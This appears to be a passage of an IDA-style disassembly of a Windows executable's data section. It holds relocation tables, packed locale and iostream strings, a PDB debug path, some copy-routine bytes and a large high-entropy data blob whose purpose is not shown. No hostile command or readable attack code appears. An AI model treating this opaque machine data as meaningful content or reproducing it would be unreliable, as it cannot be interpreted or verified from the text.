		dd 37E03798h, 380737E6h, 38573822h, 386F385Eh, 38A7389Dh
		dd 38E438CCh, 394D391Fh, 39AD395Bh, 39C439B3h, 3A0439E2h
		dd 3A213A12h, 3A643A57h, 3AA63A9Bh, 3AC03AAEh, 3B1D3ACBh
		dd 3C0C3BF3h, 3C5D3C4Ch, 3C6C3C65h, 3C793C71h, 3CD73CD0h
		dd 3CEF3CE5h, 3D143D08h, 3D273D20h, 3DA53D53h, 3DF73DBBh
		dd 3E133E07h, 3E4B3E1Ah, 3E5E3E57h, 3F123EA1h, 3F313F17h
		dd 3FE73F37h, 17000h, 110h, 3034301Ah, 30523047h, 308E3065h
		dd 30CD309Ah, 310130E2h, 311F3113h, 3148312Fh, 3162315Bh
		dd 31923183h, 31C631A4h, 31D531CFh, 31EA31E5h, 31FB31F4h
		dd 32093203h, 32173211h, 3228321Eh, 3237322Fh, 3259323Ch
		dd 32813269h, 32AB3292h, 3426340Ah, 3482343Eh, 3491348Ch
		dd 349B3496h, 34BC34AEh, 352A34C2h, 354E3536h, 35723565h
		dd 35AA358Dh, 35C535B8h, 35EF35D5h, 360D35FBh, 3637361Bh
		dd 366C3654h, 368C3683h, 36C53692h, 36F736D7h, 371E36FDh
		dd 37333724h, 3741373Ah, 3767374Ah, 3782377Ch, 3791378Ah
		dd 37C3379Ch, 37ED37DFh, 380437F7h, 381B380Eh, 382D3824h
		dd 386F3839h, 387F3877h, 38AE3894h, 38D738C7h, 391238E3h
		dd 39343923h, 394B3941h, 395D3955h, 396C3963h, 39783973h
		dd 39863981h, 39D039B9h, 3A0F39EBh, 3A463A19h, 3B263AA4h
		dd 3B683B47h, 3BDF3B8Fh, 3BE6h,	18000h,	190h, 310A30CEh
		dd 31183110h, 3123311Fh, 31423138h, 315F3154h, 317B3170h
		dd 319E3195h, 31B331A5h, 31D131C4h, 31DC31D7h, 31FE31E2h
		dd 3242322Dh, 32E13252h, 32EE32E7h, 32FE32F6h, 331E330Dh
		dd 3333332Dh, 33423339h, 33693348h, 33863374h, 33A33391h
		dd 33C033AEh, 33DD33CBh, 33FA33E8h, 34163405h, 343A3421h
		dd 344B3443h, 34573451h, 3461345Bh, 34B534A0h, 362634CFh
		dd 36363630h, 364A363Fh, 365E3659h, 36763664h, 3691367Fh
		dd 36A1369Ch, 371E3718h, 37A2373Ch, 380337FEh, 38383809h
		dd 3842383Ch, 38633848h, 3939387Ch, 39463941h, 3957394Bh
		dd 397C396Bh, 39A939A3h, 3A0139D0h, 3A563A24h, 3A6C3A61h
		dd 3A803A76h, 3A943A8Ah, 3B393B20h, 3B593B4Fh, 3B823B66h
		dd 3B8F3B89h, 3BB43B94h, 3BF13BD3h, 3C253BFCh, 3C543C3Eh
		dd 3C703C5Eh, 3CA43C94h, 3CC83CB6h, 3CD83CD0h, 3CEF3CE0h
		dd 3D073D01h, 3D193D0Eh, 3D2A3D22h, 3D453D3Eh, 3D653D4Bh
		dd 3D7F3D75h, 3DA53D92h, 3DB43DACh, 3DC73DBCh, 3DDB3DD4h
		dd 3E093DEAh, 3E183E10h, 3E3F3E1Dh, 3E6E3E58h, 3E853E78h
		dd 3EA23E96h, 3EB93EAAh, 3EDF3ED8h, 3EEA3EE5h, 3F1A3F05h
		dd 3F253F1Fh, 3F343F2Bh, 3F473F3Ch, 3F663F54h, 3F763F6Eh
		dd 3F8A3F7Eh, 3F9B3F94h, 3FA63FA1h, 3FC23FBAh, 3FDD3FD5h
		dd 3FF33FE9h, 3FFAh, 19000h, 100h, 30063000h, 301A300Fh
		dd 302B3023h, 30383030h, 3055303Ch, 3065305Ah, 3077306Ch
		dd 3087307Ch, 30AE30A7h, 30C630B5h, 311F30F6h, 3135312Fh
		dd 31523149h, 318A3171h, 31A5319Fh, 31DA31CDh, 31F031E9h
		dd 320231FAh, 3216320Dh, 32643240h, 32F432E2h, 33233316h
		dd 34133368h, 342F3423h, 34403436h, 34533448h, 3472345Ch
		dd 349D3490h, 354D34CAh, 35DF35B5h, 364F363Bh, 36AA369Dh
		dd 36E536C7h, 370536F3h, 37B637A6h, 37F537CFh, 38323822h
		dd 38743852h, 38B238A1h, 38FB38DFh, 39633958h, 3999398Bh
		dd 39DA39A1h, 3A5839ECh, 3A883A65h, 3AC63ABEh, 3B3E3B1Dh
		dd 3B703B4Ah, 3B823B7Dh, 3BE23B90h, 3C3B3C31h, 3D0E3D04h
		dd 3DA13D93h, 3E3D3DAFh, 3EA53E6Ch, 3EB23EABh, 3EBF3EB8h
		dd 3EEC3EC5h, 3F5B3EF2h, 3F6A3F64h, 3FF23FE5h, 3FFFh, 1A000h
		dd 7Ch,	3015300Bh, 3028301Dh, 30803051h, 312530A4h, 317A313Fh
		dd 321131EEh, 32553248h, 332832A7h, 33AA337Fh, 34C63488h
		dd 3599355Fh, 361D35B4h, 37E837AEh, 38553822h, 38713865h
		dd 3883387Bh, 3897388Eh, 38CB38ADh, 394338DCh, 39853963h
		dd 39A13992h, 39B339ABh, 39C739BEh, 39FE39EDh, 3A8F3A6Dh
		dd 3DAE3AB5h, 3DD23DC9h, 3E693E61h, 3EA33E72h, 1B000h
		dd 0E0h, 30413020h, 30A53079h, 30FA30DCh, 311030FFh, 314A3126h
		dd 316B314Fh, 31BB3192h, 3254324Ch, 326D325Eh, 3280327Ah
		dd 3299328Ah, 32CD32B4h, 32FB32DAh, 336C3321h, 339D3393h
		dd 33C733AAh, 33DD33D2h, 342D3404h, 34453438h, 346D3462h
		dd 34BD3485h, 34DE34CDh, 357134F6h, 358F3587h, 35A53595h
		dd 35EE35C9h, 360E35FEh, 362F3624h, 36553647h, 3670365Ch
		dd 375736D4h, 37893780h, 381037A7h, 383D3831h, 38973852h
		dd 38AE38A4h, 38DE38B3h, 39E839D7h, 3A9A39FDh, 3ADC3AA2h
		dd 3B463AF1h, 3C683C2Eh, 3CD23C7Dh, 3CE83CDDh, 3CFE3CF3h
		dd 3D173D04h, 3D263D1Eh, 3D333D2Dh, 3D463D3Bh, 3DE33D6Eh
		dd 3F453F28h, 3F723F67h, 3FB03FA0h, 3FE23FDAh, 1C000h
		dd 0DCh, 30103000h, 30273022h, 31B030A3h, 324331D0h, 325B3250h
		dd 32953261h, 33AE334Eh, 34B53490h, 35A934F0h, 35D935BBh
		dd 362A35F9h, 36823651h, 36A13691h, 36C136B1h, 3753370Ah
		dd 37893773h, 37D437B4h, 380937E9h, 38753829h, 38A43881h
		dd 38FC38E3h, 39393919h, 39793967h, 39C939ADh, 3A0939E9h
		dd 3A493A29h, 3A813A6Ch
		dd 3AC43A99h, 3AFC3AD9h, 3B473B24h, 3B713B59h, 3BA93B94h
		dd 3BFF3BC9h, 3C4C3C32h, 3CB93C94h, 3CDD3CCBh, 3D143CEFh
		dd 3D643D26h, 3D943D80h, 3DB63D9Eh, 3DC83DC3h, 3DD23DCEh
		dd 3DDD3DD7h, 3DEF3DEAh, 3E053DF9h, 3E1B3E0Fh, 3E313E25h
		dd 3E473E3Dh, 3E643E53h, 3E7B3E70h, 3E853E7Fh, 3E993E8Fh
		dd 3EAD3EA3h, 1D000h, 160h, 32883280h, 32983290h, 32C032A4h
		dd 32EC32D8h, 3450344Ch, 34583454h, 3460345Ch, 34683464h
		dd 3470346Ch, 34783474h, 34E834E4h, 34F834F0h, 35083500h
		dd 35303514h, 355C3548h, 36483640h, 36583650h, 36803664h
		dd 36AC3698h, 38B438ACh, 38C438BCh, 38EC38D0h, 39183904h
		dd 3BD83BD4h, 3C083C04h, 3C103C0Ch, 3C183C14h, 3C203C1Ch
		dd 3C283C24h, 3C303C2Ch, 3C5C3C44h, 3C643C60h, 3C6C3C68h
		dd 3C743C70h, 3C7C3C78h, 3C8C3C80h, 3C943C90h, 3C9C3C98h
		dd 3CA43CA0h, 3CAC3CA8h, 3CE03CD4h, 3CE83CE4h, 3CF03CECh
		dd 3CF83CF4h, 3D003CFCh, 3D083D04h, 3D103D0Ch, 3D183D14h
		dd 3D203D1Ch, 3D283D24h, 3D303D2Ch, 3D383D34h, 3D403D3Ch
		dd 3D483D44h, 3D543D50h, 3D5C3D58h, 3D643D60h, 3D6C3D68h
		dd 3D743D70h, 3D7C3D78h, 3D843D80h, 3D8C3D88h, 3D943D90h
		dd 3DA43D98h, 3DAC3DA8h, 3DB43DB0h, 3DBC3DB8h, 3E143E10h
		dd 3E1C3E18h, 3E243E20h, 3E2C3E28h, 3E343E30h, 3E3C3E38h
		dd 3E443E40h, 3E4C3E48h, 3E543E50h, 3E5C3E58h, 3E643E60h
		dd 3E6C3E68h, 3E743E70h, 3E7C3E78h, 3E843E80h, 3E8C3E88h
		dd 3EE03EDCh, 3EE83EE4h, 3EF03EECh, 1E000h, 0C8h, 30483040h
		dd 30583050h, 30683060h, 30783070h, 30883080h, 30983090h
		dd 30A830A0h, 30E430E0h, 30EC30E8h, 30F430F0h, 30FC30F8h
		dd 31043100h, 31343108h, 31443138h, 31583148h, 3160315Ch
		dd 31A03170h, 31C031B0h, 31DC31D0h, 31F031E0h, 32103200h
		dd 32303220h, 32503240h, 326C3260h, 32883278h, 3290328Ch
		dd 32AC3294h, 32B432B0h, 32C032BCh, 34B834B4h, 34C834C4h
		dd 34D834D4h, 34F034E8h, 34FC34F4h, 35103500h, 351C3518h
		dd 35283524h, 35443538h, 35B83590h, 35D435C8h, 35E035D8h
		dd 37C035E4h, 3CF037D8h, 3D103D00h, 3D303D20h, 3D503D40h
		dd 3D603D5Ch, 3D703D6Ch, 1F000h, 130h, 31E431B0h, 31F431E8h
		dd 333431F8h, 3360333Ch, 338C3368h, 33B83394h, 33E433C0h
		dd 341033ECh, 343C3418h, 34683444h, 34943470h, 34C0349Ch
		dd 34EC34C8h, 351834F4h, 35443520h, 3570354Ch, 359C3578h
		dd 35C835A4h, 35F435D0h, 362035FCh, 364C3628h, 36783654h
		dd 36A43680h, 36D036ACh, 36FC36D8h, 37283704h, 37543730h
		dd 3780375Ch, 37AC3788h, 395837B4h, 39683960h, 39783970h
		dd 39883980h, 39983990h, 39A839A0h, 39B839B0h, 39C839C0h
		dd 39D839D0h, 39E839E0h, 39F839F0h, 3A083A00h, 3B103B08h
		dd 3B203B18h, 3B303B28h, 3B403B38h, 3B503B48h, 3B603B58h
		dd 3B703B68h, 3B803B78h, 3B903B88h, 3BA03B98h, 3BB03BA8h
		dd 3BC03BB8h, 3BD03BC8h, 3BE03BD8h, 3BF03BE8h, 3C003BF8h
		dd 3C103C08h, 3C203C18h, 3C303C28h, 3C403C38h, 3C503C48h
		dd 3C603C58h, 3C703C68h, 3C803C78h, 3C903C88h, 3CA03C98h
		dd 3CB03CA8h, 3CC03CB8h, 3CD03CC8h, 3CE03CD8h, 3CF03CE8h
		dd 3D003CF8h, 3D08h, 20000h, 1E4h, 31483144h, 31583154h
		dd 31643160h, 31803170h, 319C3190h, 31B831A8h, 31D431C8h
		dd 31E031D8h, 31EC31E4h, 323C31F0h, 324C3240h, 32583250h
		dd 3260325Ch, 32683264h, 3270326Ch, 32C03274h, 32C832C4h
		dd 32D032CCh, 32D832D4h, 32E032DCh, 3380337Ch, 33883384h
		dd 33A83398h, 33C833B8h, 33E833D8h, 3430342Ch, 348C3474h
		dd 34B034A0h, 34B834B4h, 34E434D0h, 34F834F4h, 351434FCh
		dd 352C3518h, 3540353Ch, 355C3544h, 35783574h, 359C358Ch
		dd 35A435A0h, 35C035BCh, 35E435D4h, 35EC35E8h, 36083604h
		dd 3620360Ch, 36343630h, 36503638h, 36683654h, 367C3678h
		dd 36983680h, 36A0369Ch, 36C436B4h, 36CC36C8h, 36E836E4h
		dd 370036ECh, 37143710h, 37303718h, 37543744h, 375C3758h
		dd 37783774h, 379C378Ch, 38C437A0h, 38D438CCh, 38E438DCh
		dd 38F438ECh, 390438FCh, 3914390Ch, 39383920h, 395C3944h
		dd 39803968h, 39AC399Ch, 39C039B4h, 39E439D8h, 3A0439FCh
		dd 3A283A10h, 3A383A30h, 3A743A44h, 3A943A88h, 3AC43A9Ch
		dd 3AE43AD8h, 3B143AECh, 3B343B28h, 3B643B3Ch, 3B843B78h
		dd 3B9C3B8Ch, 3BAC3BA4h, 3BBC3BB4h, 3BD03BC4h, 3BF03BE8h
		dd 3C003BF8h, 3C103C08h, 3C343C1Ch, 3C483C3Ch, 3C6C3C60h
		dd 3C8C3C84h, 3CB03C98h, 3CC43CB8h, 3CE83CDCh, 3D0C3D00h
		dd 3D303D24h, 3D503D48h, 3D743D5Ch, 3D843D7Ch, 3D943D8Ch
		dd 3DD03DA0h, 3DF03DE4h, 3E103DF8h, 3E303E20h, 3E503E44h
		dd 3E683E58h, 3E783E70h, 3E9C3E84h, 3EC03EA8h, 3EE43ECCh
		dd 3F083EF0h, 3F2C3F14h, 3F503F38h, 3F843F70h, 3F983F90h
		dd 3FB43FA8h, 3FEC3FCCh, 21000h, 100h, 300C3000h, 30243014h
		dd 30483030h, 306C3054h, 30903078h, 30DC309Ch, 310030ECh
		dd 31203114h, 31383128h, 3154314Ch, 31703168h, 317C3174h
		dd 318C3184h, 31B03198h, 31C431B8h, 31E831DCh, 32083200h
		dd 322C3214h, 32403234h, 32643258h, 32B432A4h, 32DC32C8h
		dd 32F032E8h, 330C3300h, 332C3324h, 3360334Ch, 3374336Ch
		dd 33903384h, 33B033A8h, 33C433B8h, 33F433DCh, 341C33FCh
		dd 3440342Ch, 34603454h, 34783468h, 349C3484h, 34B034A4h
		dd 34DC34C8h, 34F834E4h, 35043500h, 35103508h, 35203518h
		dd 35303528h, 3554353Ch, 35783560h, 3594358Ch, 35B035A8h
		dd 35B835B4h, 35C835C0h, 35DC35D0h, 360035F4h, 362C3618h
		dd 36383634h, 3644363Ch, 3654364Ch, 3664365Ch, 36883670h
		dd 36AC3694h, 36BC36B4h, 36CC36C4h, 36F036D8h, 370436F8h
		dd 23000h, 148h, 30083004h, 3010300Ch, 30183014h, 3020301Ch
		dd 302C3024h, 303C3038h, 30443040h, 305C3050h, 30743070h
		dd 30983094h, 30A0309Ch, 30A830A4h, 30B030ACh, 30C030B4h
		dd 30DC30C4h, 312030F4h, 31403138h, 31483144h, 32C832B8h
		dd 32D432CCh, 34183410h, 3420341Ch, 34283424h, 3430342Ch
		dd 34383434h, 3440343Ch, 34483444h, 3450344Ch, 35C03454h
		dd 35C835C4h, 390435D0h, 3914390Ch, 3924391Ch, 3934392Ch
		dd 3944393Ch, 3954394Ch, 3964395Ch, 3974396Ch, 3984397Ch
		dd 3994398Ch, 3AA03A9Ch, 3AA83AA4h, 3AB03AACh, 3AB83AB4h
		dd 3AC03ABCh, 3AC83AC4h, 3AD03ACCh, 3AD83AD4h, 3AE03ADCh
		dd 3AE83AE4h, 3AF03AECh, 3AF83AF4h, 3B003AFCh, 3B083B04h
		dd 3B103B0Ch, 3B183B14h, 3B203B1Ch, 3B283B24h, 3B303B2Ch
		dd 3B383B34h, 3B403B3Ch, 3B483B44h, 3B603B5Ch, 3B683B64h
		dd 3B703B6Ch, 3B783B74h, 3B803B7Ch, 3C303B8Ch, 3CC43C34h
		dd 3CFC3CE0h, 3D443D1Ch, 3D843D64h, 3DA83DA4h, 3DB03DACh
		dd 3DB83DB4h, 3DC03DBCh, 3DC83DC4h, 3DD03DCCh, 3DD83DD4h
		dd 3E003DE0h, 205h dup(0)
		dd 69686300h, 6573656Eh, 6E6F682Dh, 6E6F6B67h, 67h, 69686300h
		dd 6573656Eh, 69686300h, 68686300h, 6E616300h, 61696461h
		dd 6Eh,	6C656200h, 6E616967h, 73756100h, 6C617274h, 6E6169h
		dd 656D6100h, 61636972h, 6E652D6Eh, 73696C67h, 68h, 656D6100h
		dd 61636972h, 6E65206Eh, 73696C67h, 68h, 656D6100h, 61636972h
		dd 6Eh,	50434F00h, 50434100h, 726F4E00h, 69676577h, 4E2D6E61h
		dd 726F6E79h, 6B73h, 0FFFFFF00h, 192A3FFh, 192A710h, 10h
		dd 0FFFFFF00h, 19507FFh, 1950B10h, 0FFFFFF10h, 19579FFh
		dd 1957D10h, 0FFFFFF10h, 0FFh, 1977700h, 10h, 0FFFFFF00h
		dd 0FFh, 1997000h, 10h,	0FFFFFF00h, 0FFh, 19B1100h, 10h
		dd 0
		dd 19A7100h, 0FFFFFF10h, 0FFh, 19BAC00h, 10h, 0FFFFFF00h
		dd 0FFh, 19E1400h, 10h,	0FFFFFF00h, 0FFh, 19F9C00h, 10h
		dd 0FFFFFF00h, 1A2DBFFh, 1A2DF10h, 0FFFFFF10h, 1A0D8FFh
		dd 1A0DC10h, 0FFFFFF10h, 1A1A6FFh, 1A1AA10h, 6E755310h
		dd 546E6F4Dh, 65576575h, 75685464h, 53697246h, 7461h, 6E614A00h
		dd 4D626546h, 70417261h, 79614D72h, 4A6E754Ah, 75416C75h
		dd 70655367h, 4E74634Fh, 6544766Fh, 63h, 0
		dd 0FFFFFF00h, 1A90AFFh, 1A90E10h, 10h,	0FFFFFF00h, 1AA31FFh
		dd 1AA3510h, 0FFFFFF10h, 20590FFh, 0A25010h, 205D810h
		dd 1AEC210h, 1AEB410h, 2062410h, 1B05B10h, 1AEB410h, 736F6910h
		dd 7361625Fh, 653A3A65h, 6962666Fh, 65732074h, 74h, 736F6900h
		dd 7361625Fh, 663A3A65h, 626C6961h, 73207469h, 7465h, 736F6900h
		dd 7361625Fh, 623A3A65h, 69626461h, 65732074h, 74h, 2066C00h
		dd 1B33210h, 1AEB410h, 206B810h, 1B34E10h, 1AEB410h, 2070410h
		dd 1B37510h, 1AEB410h, 766E6910h, 64696C61h, 72747320h
		dd 20676E69h, 69736F70h, 6E6F6974h, 72747300h, 20676E69h
		dd 206F6F74h, 676E6F6Ch, 622B6100h, 622B7700h, 622B7200h
		dd 2B6100h, 2B7700h, 2B7200h, 626100h, 627700h,	627200h
		dd 6100h, 7700h, 7200h,	100h, 200h, 1200h, 0A00h, 2100h
		dd 2200h, 3200h, 2A00h,	300h, 1300h, 0B00h, 2300h, 3300h
		dd 2B00h, 0
		dd 10000h, 2074800h, 0BFE010h, 2079010h, 1B73A10h, 2A10h
		dd 0FFFFFF00h, 0FFh, 1BA8200h, 10h, 0FFFFFF00h,	0FFh, 1BB2E00h
		dd 10h,	0FFFFFF00h, 0FFh, 1BCBA00h, 10h, 0FFFFFF00h, 0FFh
		dd 1BDBD00h, 10h, 0FFFFFF00h, 0FFh, 1C05800h, 10h, 0FFFFFF00h
		dd 0FFh, 1C39000h, 10h,	4800h, 0Eh dup(0)
		dd 2310C00h, 207B010h, 4010h, 44535200h, 2DEAB53h, 8D45F3E5h
		dd 0A348748h, 220FBE1Dh, 203h, 5C3A6400h, 6A6F7270h, 73746365h
		dd 2 dup(6374545Ch), 6C65525Ch,	65736165h, 4354545Ch, 6264702Eh
		dd 2312000h, 10h, 0
		dd 0FFFFFF00h, 0FFh, 0
		dd 2047400h, 10h, 2 dup(0)
		dd 100h, 2048C00h, 10h,	2 dup(0)
		dd 2312000h, 2049410h, 230DC10h, 10h, 0
		dd 0FFFFFF00h, 0FFh, 0
		dd 204B800h, 10h, 2 dup(0)
		dd 100h, 204D000h, 10h,	2 dup(0)
		dd 230DC00h, 204D810h, 230F410h, 110h, 0
		dd 0FFFFFF00h, 0FFh, 0
		dd 204FC00h, 204B810h, 10h, 2 dup(0)
		dd 200h, 2051400h, 10h,	2 dup(0)
		dd 230F400h, 2052010h, 23CC410h, 10h, 400h, 0FFFFFF00h
		dd 0FFh, 0
		dd 23CE000h, 110h, 0
		dd 0FFFFFF00h, 0FFh, 0
		dd 2055C00h, 2054410h, 10h, 2 dup(0)
		dd 200h, 2057400h, 10h,	2 dup(0)
		dd 23CE000h, 2058010h, 23CFC10h, 110h, 0
		dd 0FFFFFF00h, 0FFh, 0
		dd 205A400h, 204B810h, 10h, 2 dup(0)
		dd 200h, 205BC00h, 10h,	2 dup(0)
		dd 23CFC00h, 205C810h, 23D1C10h, 210h, 0
		dd 0FFFFFF00h, 0FFh, 0
		dd 205EC00h, 205A410h, 204B810h, 10h, 2	dup(0)
		dd 300h, 2060400h, 10h,	2 dup(0)
		dd 23D1C00h, 2061410h, 23D4410h, 110h, 0
		dd 0FFFFFF00h, 0FFh, 0
		dd 2063800h, 204B810h, 10h, 2 dup(0)
		dd 200h, 2065000h, 10h,	2 dup(0)
		dd 23D4400h, 2065C10h, 23D6410h, 210h, 0
		dd 0FFFFFF00h, 0FFh, 0
		dd 2068000h, 2063810h, 204B810h, 10h, 2	dup(0)
		dd 300h, 2069800h, 10h,	2 dup(0)
		dd 23D6400h, 206A810h, 23D8410h, 210h, 0
		dd 0FFFFFF00h, 0FFh, 0
		dd 206CC00h, 2063810h, 204B810h, 10h, 2	dup(0)
		dd 300h, 206E400h, 10h,	2 dup(0)
		dd 23D8400h, 206F410h, 23DE010h, 10h, 0
		dd 0FFFFFF00h, 0FFh, 0
		dd 2071800h, 10h, 2 dup(0)
		dd 100h, 2073000h, 10h,	2 dup(0)
		dd 23DE000h, 2073810h, 23E0010h, 110h, 0
		dd 0FFFFFF00h, 0FFh, 0
		dd 2075C00h, 2071810h, 10h, 2 dup(0)
		dd 200h, 2077400h, 10h,	2 dup(0)
		dd 23E0000h, 2078010h, 10h, 2 dup(0)
		dd 1046500h, 1056700h, 107A400h, 10FC800h, 1C5A800h, 1C5BA00h
		dd 1C5D800h, 1C5F800h, 1C62900h, 1C65000h, 1C68100h, 1C69000h
		dd 57EC8B00h, 0C758B56h, 8B104D8Bh, 0C18B087Dh,	0C603D18Bh
		dd 876FE3Bh, 820FF83Bh,	17Ch, 3C7F7h, 14750000h, 8302E9C1h
		dd 0F98303E2h, 0F3297208h, 9524FFA5h, 1001170Ch, 3BAC78Bh
		dd 83000000h, 0C7204E9h, 303E083h, 8524FFC8h, 10011620h
		dd 1C8D24FFh, 90100117h, 0A08D24FFh, 90100116h,	10011630h
		dd 1001165Ch, 10011680h, 68AD123h, 468A0788h, 1478801h
		dd 0C102468Ah, 478802E9h, 3C68302h, 8303C783h, 0CC7208F9h
		dd 24FFA5F3h, 1170C95h,	498D10h, 68AD123h, 468A0788h, 2E9C101h
		dd 83014788h
dword_4221E0	dd 5EDC7D9Ch, 60B15A54h, 8C8A4E11h, 0C1697B46h,	55259C22h
					; DATA XREF: sub_4038D5+9Ao
					; sub_4038D5+BBo ...
		dd 8591D9D8h, 7F2E9FCFh, 7F3E017Dh, 0C5F92C70h,	0CA9E462Fh
		dd 1B3CF07Fh, 0DA269F60h, 0AF41FA43h, 2A2F6885h, 0CFDE8159h
		dd 6530D197h, 0C153E07h, 0EDD104F3h, 0D1C52D28h, 6F29D00Fh
		dd 256122FCh, 37901CA0h, 28057D1Eh, 2761E407h, 0BE5012BFh
		dd 13D8F388h, 0C8B951B7h, 27DC4687h, 0E88D7A4h,	7DF2E88Dh
		dd 0E3168034h, 8EBE44E3h, 3CE8EBh, 0BBB48630h, 1A7BC600h
		dd 51538910h, 0C197D6C6h, 0F8D3049Fh, 9C74894Fh, 0FDDE7F5Fh
		dd 4EFF6042h, 0FDD0317Ah, 0F72EC1C2h, 0BA052FD1h, 0DD031B73h
		dd 77708E5Bh, 4DC0FFEAh, 0D81F690Ah, 0D3C6B287h, 526658F9h
		dd 93F9FE6h, 0E4A7F2FAh, 0D57BD4FAh, 450F2361h,	0B6A60E8Ch
		dd 5CE37C8h, 801D003Fh,	72CDCC55h, 0D330662Ch, 0E7050ECEh
		dd 4E256566h, 245FCB2Ah, 0D24114C8h, 8CDEF7AEh,	2824318Fh
		dd 0DA92CEE0h, 3F177377h, 7E15BB4Ah, 0E73DE467h, 1E43D0D1h
		dd 51F8BAA7h, 5DF816DAh, 21E92980h, 0DBE20E8Fh,	0EA8692E9h
		dd 0D027D916h, 0E0CBD28Fh, 0FDCCD477h, 0D3E4BA43h, 0FF39EE6Ah
		dd 0D49348B9h, 8EFE7BA7h, 0BE947E2Eh, 0BD1D7E0Ah, 4FBBB3E4h
		dd 0D83CE5CFh, 0DF4A1F25h, 0B68BF0Ch, 35DE16D7h, 0EB08739Fh
		dd 0DFC22F29h, 7E81BE90h, 0FC244794h, 973D2C92h, 0E7B7DF49h
		dd 0E4BAD932h, 0C2E7E943h, 3297BF2Fh, 0A7AC2155h, 0DB4CA8BCh
		dd 7945E4BAh, 4D5F81ECh, 0FC9D792Fh, 0ED9D7937h, 71E51792h
		dd 96AD7E01h, 0AA2BF19Eh, 92FC775Fh, 0B4A3F177h, 0F6B3F27Ah
		dd 0EB08FFD2h, 0FFEB0F9Ah, 0BE947E2Eh, 1D9F8BAAh, 0F497047Ah
		dd 0FBBB0891h, 8E68449h, 0EF07B089h, 6800BCE4h,	8C065C01h
		dd 1B296285h, 0B600360h, 1F600760h, 0BFD011A0h,	4CC2249h
		dd 16A0394h, 3BC00FFh, 0F1420370h, 0C02C4DF2h, 0EC02A801h
		dd 0B80E7C02h, 2E3A8802h, 280F411h, 2F602540h, 6E019A0h
		dd 7486BE84h, 32C05480h, 1B601540h, 5A008E0h, 0E6300570h
		dd 1484484h, 0CA02E4h, 0F6020Fh, 157019Ah, 7355BC0Ah, 41E03Bh
		dd 500AFD54h, 0BF402B94h, 0A5F500A8h, 0A487402h, 4028A650h
		dd 0D500A201h, 1268DD83h, 55EDABB5h, 5F72DB4Eh,	0C284BC65h
		dd 2F1957C2h, 2AF850A1h, 0CA1425E3h, 84BC655Eh,	8CABE542h
		dd 12A85087h, 0FD985ACDh, 0E68A3688h, 8CA49836h, 0E24C0765h
		dd 0DDBA23C7h, 0ED241A18h, 177F9BE9h, 0D4F7D0E3h, 738E7BFDh
		dd 6E4E2FCAh, 0CD18710Fh, 798E913h, 0F0FC423Fh,	34974D6Ah
		dd 78A6E0DBh, 0DDF2FDE7h, 0A5B7CBD7h, 4E717CC7h, 0FE2712F7h
		dd 88273898h, 2ECDA971h, 0A17712F7h, 31D97718h,	0C42BC6DEh
		dd 31BED434h, 0E9A73D61h, 0DF9EF78Ah, 0F520AB21h, 85043F1Fh
		dd 32DE4161h, 71F186E4h, 7DD61953h, 0DF94F60Ch,	0F9EE84A4h
		dd 0B7E5F835h, 0F9AFCC47h, 3FB7E637h, 0A17E7BB7h, 5DF97C03h
		dd 1A8BF316h, 3BF2DBF0h, 0FCF7477Dh, 4BF2FD72h,	2BF3C01Dh
		dd 29DF92ECh, 0C45BCDB1h, 0C63D6F36h, 18FDBAF1h, 8E9FEBC7h
		dd 2ABEBC71h, 756905F6h, 0E7A036DEh, 89AEB8BEh,	134375E7h
		dd 0D116EBCFh, 79E268ADh, 5E789B99h, 797C9B53h,	0AF25ED9Dh
		dd 25DA62B9h, 91BC3E4Dh, 0B71CF787h, 8787C9AAh,	0B3897B73h
		dd 8F6FCC43h, 0BD557E5Fh, 0E3146DC4h, 0DDC5FB36h, 56DC4BDBh
		dd 0F4B76FBFh, 0F6684712h, 25E8E9C5h, 8E2FCC8Eh, 71CF606Ch
		dd 0B979C76Ch, 95F71CE6h, 0B897A92Bh, 0B8E2CDF1h, 66CCCD13h
		dd 9BF3AFDEh, 89145F79h, 551A23DFh, 1BBFF036h, 77D7A35Bh
		dd 3A3B5C7h, 7FB6B87Dh,	0D3B5C720h, 0DF9E7B03h,	0F6FB34B6h
		dd 0B0EEEC1Ch, 6C8F9039h, 2BC106DCh, 9A241183h,	0FE788331h
		dd 83213F84h, 41EAFE78h, 13EFF981h, 0CCD939F3h,	66FDEFF1h
		dd 1FC8FD1Fh, 0CF1D73D4h, 0B6FBB5FBh, 8F48E25Eh, 0EC1CE2FBh
		dd 2FDC8E25h, 712F6B4Eh, 84E2FCCAh, 671CF444h, 0D89C5F8Bh
		dd 1E34E25Eh, 777CF7FFh, 0A416EC2Fh, 97ED2E92h,	6DE4111Fh
		dd 0DE08F48Bh, 0C0888E7Eh, 0FBF56BF6h, 0BE5EEEF6h, 0D816BC2Dh
		dd 0D4E35D77h, 0EDFEE9EDh, 376FBF56h, 0DF3EDF8Bh, 0D7B2DBE5h
		dd 0DA5FF0FCh, 0C5FB4E0Bh, 0CE25EA49h, 8538BF79h, 0E859C4BDh
		dd 0F4B36717h, 0C4BEE33Fh, 0FEBBD70Fh, 10836AEh, 3B87DFE9h
		dd 0B07BAC48h, 0F7E06F67h, 0AB5F8F0Dh, 0FBCF87D4h, 794D7CA4h
		dd 0F7DDA5Eh, 0D20E5FE1h, 86305868h, 1E85FDF7h,	0E18DCEC2h
		dd 0B506DC63h, 0E2C1EA34h, 0C786217Eh, 0E7CC1E2Fh, 757E2DF5h
		dd 73DC1DAFh, 0C6BDF7DDh, 9AF8BCD3h, 25EBFD1Fh,	0FCBF29EEh
		dd 23897A5Ah, 0BCE213Dh, 75F97C27h, 2E5712F4h, 0C5F935C6h
		dd 0BD21D8Dh, 0FBE13C3Dh, 0FF90D676h, 0EFF8FDCh, 15BE476Fh
		dd 0DF4B8FD8h, 0B6E34EEAh, 0D6EA090Dh, 0F8867BB7h, 0C52B1FAh
		dd 8812186Fh, 0CAFC3BDBh, 394BD1D9h, 0D77AC4ABh, 0FF48909Eh
		dd 7F5DBE1Dh, 0C57E3BBAh, 832BE75Fh, 0BE3E3AECh, 9605D76Ch
		dd 0CAFD1A1h, 32F5D755h, 70658997h, 274FE68Bh, 7773F47Ch
		dd 27A4692Fh, 0DFFA3D25h, 89D39270h, 39F24E5Bh,	0E9DD7FDFh
		dd 0DBE9BBFFh, 0FF8F76C0h, 90FD3BBEh, 0CD0F5742h, 457D0453h
		dd 0AF24593Fh, 5BA9AD33h, 2EEDE3AEh, 73AC0C8Fh,	9D5F49FCh
		dd 0D0BD911Dh, 0AB9CB102h, 6DF0FA4Eh, 0EBCF645Bh, 0E0730EE8h
		dd 3C258B98h, 0F3C89BF9h, 0F61EE96Fh, 0B9F1BF97h, 1DF915B6h
